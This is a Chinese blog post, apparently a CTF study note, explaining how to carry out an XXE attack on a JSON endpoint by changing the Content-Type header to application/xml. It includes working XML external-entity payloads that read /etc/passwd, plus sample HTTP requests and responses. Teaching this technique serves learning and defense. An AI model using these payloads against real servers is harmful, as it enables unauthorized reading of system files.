在JSON中玩转XXE攻击

参考链接:在JSON中玩转XXE攻击

前言

在刷题的过程中遇到了一个没见过的新姿势,这里记录一下加深对xxe漏洞的认识

xml基础

要了解xxe漏洞前先了解xml文档的基础,这是基本知识

和html的区别为:

1
2
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。

这样就好理解多了,xml还有一些关键知识如dtd实体要了解,有点长,自行百度理解
https://www.cnblogs.com/r00tuser/p/7255939.html

Content-Type 在JSON中进行XXE攻击

XXE是一种针对XML终端实施的攻击,黑客想要实施这种攻击,需要在XML的payload包含外部实体声明,且服务器本身允许实体扩展。这样的话,黑客或许能读取WEB服务器的文件系统,通过UNC路径访问远程文件系统,或者通过HTTP/HTTPS连接到任意主机。在下面的例子中,我们将一个外部实体指向了WEB服务器上的/etc/passwd,该实体就是包含在XML的payload里的。

一个简洁有效的xxe攻击如下:

1
2
3
4
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]

接下来看利用Content-Type头和HTTP请求的payload,是否也能黑掉JSON的终端。下面是一个JSON请求样本,它将Content-Type设置为application/json,其中精简了大部分内容。

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

如果Content-Type头被修改为application/xml,客户端会告诉服务器post过去的数据是XML格式的。但如果你实际传过去的不是xml格式的话,服务器不会进行解析,并且会报如下的错:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Request:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

说明服务器能够处理XML格式和JSON格式的数据,但现在服务器收到的真实数据格式并不是在Content-Type里声明的XML格式,所以这里自然不能被解析啦。为了解决这个问题,JSON格式被强行转换为XML格式。

Original JSON

1
{"search":"name","value":"netspitest"}

XML Conversion

1
2
3
<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>netspitest</value>

然而,这样直接转换过来的XML文档很明显是无效的,它并没有XML格式文件所必须的\元素。如果这个XML格式的文件被发送到服务器上,有可能服务器会为此响应一个错误消息,所有最好的做法是为该转换过的XML文档加一个\元素。

1
2
3
4
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
1
2
3
4
5
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

因为在这里服务器是可以接收XML的数据的,黑客能由此对JSON终端实施XXE攻击。

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

黑客在这里就可以读到/etc/passwd的文件内容

总结

不是每一个JSON终端都会接收XML格式,改变Content-Type一般没有用处,有可能只能得到415的数据类型不支持错误。但是,JSON转换为XML的攻击不会只限制于通过post传输带有JSON内容的payload,如果JSON的参数被转换为XML,服务器会自己判断content type的真实类型。

学到了很多,以后有关于xxe漏洞的新姿势继续补上

文章目录
  1. 1. 前言
  2. 2. xml基础
  3. 3. Content-Type 在JSON中进行XXE攻击
  4. 4. 总结
,